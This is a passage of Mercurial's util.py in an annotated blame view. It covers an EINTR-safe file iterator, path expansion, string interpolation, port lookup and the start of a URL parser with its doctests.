1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2577 # fp.read* are broken too, manually deal with EINTR in a stupid way.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2578 # note: this may block longer than necessary because of bufsize.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2579 def _safeiterfile(fp, bufsize=4096):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2580 fd = fp.fileno()
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2581 line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2582 while True:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2583 try:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2584 buf = os.read(fd, bufsize)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2585 except OSError as ex:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2586 # os.read only raises EINTR before any data is read
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2587 if ex.errno == errno.EINTR:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2588 continue
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2589 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2590 raise
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2591 line += buf
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2592 if '\n' in buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2593 splitted = line.splitlines(True)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2594 line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2595 for l in splitted:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2596 if l[-1] == '\n':
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2597 yield l
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2598 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2599 line = l
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2600 if not buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2601 break
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2602 if line:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2603 yield line
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2604
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2605 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2606 fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2607 if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2608 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2609 if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2610 return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2611 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2612 return _safeiterfile(fp)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2613 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2614 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2615 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2616 return fp
30395
10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents: 30359
diff changeset
2617
7879
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2618 def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2619 for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2620 for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2621 yield line
9610
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2622
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2623 def expandpath(path):
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2624 return os.path.expanduser(os.path.expandvars(path))
10239
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2625
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2626 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2627 """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2628
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2629 prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2630 a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2631 a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2632
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2633 fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2634 just before replacement.
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2635
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2636 escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2637 its escaping.
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2638 """
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2639 fn = fn or (lambda s: s)
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2640 patterns = '|'.join(mapping.keys())
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2641 if escape_prefix:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2642 patterns += '|' + prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2643 if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2644 prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2645 else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2646 prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2647 mapping[prefix_char] = prefix_char
35145
25c543944bc0 py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents: 35014
diff changeset
2648 r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2649 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2650
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2651 def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2652 """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2653
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2654 If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2655 looked up using socket.getservbyname(). If there's no matching
26587
56b2bcea2529 error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26493
diff changeset
2656 service, error.Abort is raised.
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2657 """
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2658 try:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2659 return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2660 except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2661 pass
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2662
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2663 try:
36038
15c8c4ac5d9c py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35900
diff changeset
2664 return socket.getservbyname(pycompat.sysstr(port))
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2665 except socket.error:
37096
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
2666 raise error.Abort(_("no port number associated with service '%s'")
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
2667 % port)
12087
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2668
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2669 class url(object):
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
2670 r"""Reliable URL parser.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2671
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2672 This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2673 components:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2674
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2675 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2676
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2677 Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2678 fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2679
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2680 If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2681 parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2682 False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2683
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2684 See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2685
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2686 Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2687 take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2688
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2689 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2690
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2691 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2692 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2693 >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2694 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2695 >>> url(b'file:///home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2696 <url scheme: 'file', path: '/home/joe/repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2697 >>> url(b'file:///c:/temp/foo/')
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
2698 <url scheme: 'file', path: 'c:/temp/foo/'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2699 >>> url(b'bundle:foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2700 <url scheme: 'bundle', path: 'foo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2701 >>> url(b'bundle://../foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2702 <url scheme: 'bundle', path: '../foo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2703 >>> url(br'c:\foo\bar')
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
2704 <url path: 'c:\\foo\\bar'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2705 >>> url(br'\\blah\blah\blah')
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
2706 <url path: '\\\\blah\\blah\\blah'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2707 >>> url(br'\\blah\blah\blah#baz')
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2708 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2709 >>> url(br'file:///C:\users\me')
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
2710 <url scheme: 'file', path: 'C:\\users\\me'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2711
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2712 Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2713
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2714 >>> url(b'ssh://joe:xyz@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2715 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2716 >>> url(b'ssh://joe@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2717 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2718
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2719 Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2720
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2721 >>> url(b'http://host/a?b#c')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2722 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2723 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2724 <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2725
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2726 Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2727
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2728 >>> url(b'')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2729 <url path: ''>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2730 >>> url(b'#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2731 <url path: '', fragment: 'a'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2732 >>> url(b'http://host/')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2733 <url scheme: 'http', host: 'host', path: ''>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2734 >>> url(b'http://host/#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2735 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2736
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2737 Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2738
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2739 >>> url(b'http:')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2740 <url scheme: 'http'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2741 """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2742
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2743 _safechars = "!~*'()+"
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
2744 _safepchars = "/!~*'()+:\\"
30329
dadb00a0ec0f util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents: 30328
diff changeset
2745 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2746
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2747 def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2748 # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2749 self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2750 self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2751 self._localpath = True
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2752 self._hostport = ''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2753 self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2754
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2755 if parsefragment and '#' in path:
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2756 path, self.fragment = path.split('#', 1)
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2757
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
2758 # special case for Windows drive letters and UNC paths
30329
dadb00a0ec0f util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents: 30328
diff changeset
2759 if hasdriveletter(path) or path.startswith('\\\\'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2760 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2761 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2762
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2763 # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2764 # normal URLS
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2765 if path.startswith('bundle:'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2766 self.scheme = 'bundle'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2767 path = path[7:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2768 if path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2769 path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2770 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2771 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2772
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2773 if self._matchscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
